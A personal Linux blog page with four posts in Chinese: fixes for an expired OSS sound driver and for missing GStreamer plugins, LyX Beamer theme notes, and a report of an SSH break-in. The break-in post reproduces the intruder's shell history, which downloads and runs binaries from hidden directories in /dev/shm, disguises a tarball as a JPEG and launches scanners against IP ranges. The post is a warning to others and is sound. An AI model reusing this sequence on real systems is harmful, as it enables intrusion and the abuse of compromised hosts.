computer · Linux · Note

OSS 声卡驱动过期解决办法

前几天电脑没声音了,然后杯具的发现自己的OSS声卡驱动到期了(由于本人电脑的声卡极端特殊,所以当时只有OSS能够驱动)。突然意识到自己之前安装的OSS驱动rpm包到期了,提示我说

*Your Open Sound System evaluation license has expired oss4.2*

然后我就在Google的帮助下寻找各种办法解决。后来得到某人的提示,对啊:既然OSS的全称是Open Sound System,那么它一定得是符合GPL的吧。于是自己又再次到4front的网站上仔细看了看,发现source包的确是免费的,而编译好的rpm包是要收费的,试用期为6个月,之后就不能用了……好囧。于是今天动手亲自编译了一把,然后,我又重新会到了有声的世界。而且其实编译的过程一点也不复杂,所以,如果你需要的话,就从这里下载吧,然后自己动手,丰衣足食!

computer · Internet · Linux

亲身经历了一次Hack攻击

刚才突然发现网络出现异常(出现一些异常的流量),遂调用who命令突然发现iraf用户被人通过ssh登录……都怪我一时疏忽大意,居然给iraf 设置了一个那么简单的密码,而且还开了ssh。结果突然就发现了一个95.77.21.239的IP登录了。我一下子意识到,自己是被黑客攻击了。接着我查了ip归属地,居然是罗马尼亚……肯定只是个幌子。根据和某个高手朋友的结果,鉴定出好在这个黑客不是个高手……如果是的话,我的电脑早就要重装了。然后我查看了一下shell的history发现了如下的操作历史

wget
cd /tmp
chmod +x *
./bash
uname -a
 
wget
tar
cat /etc/issue
cd /dev/shm
mkdir "  "
cd "  "
wget ***; tar zxvf fb.jpg ; rm -rf fb.jpg ; cd fb ; chmod 777 * ; (为了安全起见,我没有贴出链接)
./0-100 196
./100-200 196
cd /dev/shm
w
cd "  "
ls -a
cd fb
ls -a
cat log*
./100-200 196
ls -a
cat log*
./0-100 213
cd fb
cd /dev/shm
ls
cat /proc/cpuinfo
cd /dev/shm
./0-100 213
cd fb

之后我的iraf用户就出现了无数个ftp_scanner命令……幸好我及时发现……然后把他干的好事逆操作一遍……接着杀掉了所有iraf的进程,删除了iraf用户……目前可能没问题了,前提是如果他的操作只停留在shell层面。在这里提醒大家一定要注意linux用户的密码管理,不能疏忽大意。我的个人案例供警示。

computer · Linux · Note

图腾 (totem) 丢失 gstreamer audioconvert 和 viedoscale 问题的解决

问题:用totem播放视频文件时,会出现提示丢失gstreamer插件:element-audioconvert 和 element-videoscale,然而实际上电脑上已经安装过gstreamer的base element。这点导致nautilus中视频的thumbnail都无法显示。
(如果是命令行,则有如下错误提示:

** Message: Missing plugin: gstreamer|0.10|totem|GStreamer 组件 audioconvert|element-audioconvert (GStreamer 组件 audioconvert)
** Message: Missing plugin: gstreamer|0.10|totem|GStreamer 组件 videoscale|element-videoscale (GStreamer 组件 videoscale)
** Message: PackageKit: xid = 167772164
** Message: PackageKit: Codec nice name: GStreamer 组件 audioconvert
** Message: PackageKit: structure: gstreamer0.10(element-audioconvert)
** Message: PackageKit: Codec nice name: GStreamer 组件 videoscale
** Message: PackageKit: structure: gstreamer0.10(element-videoscale)
** Message: PackageKit: Did not install codec: did not agree to search)

但之后,如果忽略此错误,视频仍然可以正常播放。

解决办法:
删除 ~/.gstreamer-x.x/registry*.*

computer · Linux · Note

LyX beamer主题设置的笔记

总是觉得Beamer的默认主题太单调了,于是要换一下。在网站上偶然碰到了Beamer theme matrix这个网站,于是发现,原来有这么多主题可以变化……看来我还有很多要学……于是为了知道我电脑里安装的主题和颜色主题,我用下面命令查看已安装sty的文件。

ls /usr/share/texmf/tex/latex/beamer/themes/theme
ls /usr/share/texmf/tex/latex/beamer/themes/color

然后在LyX的“文档”菜单中设置文档的LaTeX序,加入

\usetheme{Luebeck}
% or AnnArbor, Antibes,Bergen, Berkeley, Berlin, Boadilla,
%CambridgeUS, Copenhagen, Darmstadt, default, Dresden,
%Frankfurt, Goettingen, Hannover, Ilmenau, JuanLesPins,
%Luebeck, Madrid, Malmoe, Marburg, Montpellier, PaloAlto,
%Pittsburgh, Rochester, Singapore, Szeged, Stockton,
%boxes, Warsaw...
 
\usecolortheme{beaver}
%albatross, orchid, beaver, rose, beetle, seagull, crane.
%seahorse, default, sidebartab, dolphin , structure
%dove, whale, fly, wolverine, lily

其中被注释掉的就是我电脑里现有的所有theme和color theme,方便我以后随时选择。
如果这些主题都不能满足你的要求的话,你可以去google一下beamer的主题,然后把相应的.sty文件下载下来存到/usr/share/texmf/tex/latex/beamer/themes/对应的目录下面,然后texhash一下,再点击LyX的“工具”菜单栏里面的“重配置”,下次就可以使用了。